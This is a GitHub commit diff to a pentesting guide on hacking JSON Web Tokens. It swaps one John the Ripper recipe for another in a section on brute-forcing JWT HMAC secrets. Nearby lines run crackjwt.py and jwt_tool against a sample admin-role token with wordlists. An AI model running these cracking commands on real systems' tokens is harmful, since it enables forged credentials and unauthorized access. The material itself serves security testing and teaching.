We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 8f8eb9f commit f07d70dCopy full SHA for f07d70d
pentesting-web/hacking-jwt-json-web-tokens.md
@@ -50,9 +50,8 @@ cd jwtcrack
50
#Bruteforce using crackjwt.py
51
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
52
53
-#Bruteforce using john
54
-python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
55
-john jwt.john #It does not work with Kali-John
+#John
+john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
56
57
#https://github.com/ticarpi/jwt_tool
58
python3 jwt_tool.py -d wordlists.txt <JWT token>
0 commit comments